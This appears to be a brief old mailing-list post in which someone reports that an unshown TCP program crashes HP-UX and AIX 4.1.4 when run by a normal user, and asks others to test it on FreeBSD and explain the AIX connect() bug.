Can someone try this on a *non critical* FreeBSD system ? I can crash HP-UX
9.05 and 10.20 easily with it...

Can someone tell me why this simple tcp program crashes aix 4.1.4 .
I run this program as a normal user, and the second connect crashes aix.
is it just connect's old bug from aix ? i have tried it in aix 3.2
but it works only in 4.1.4.
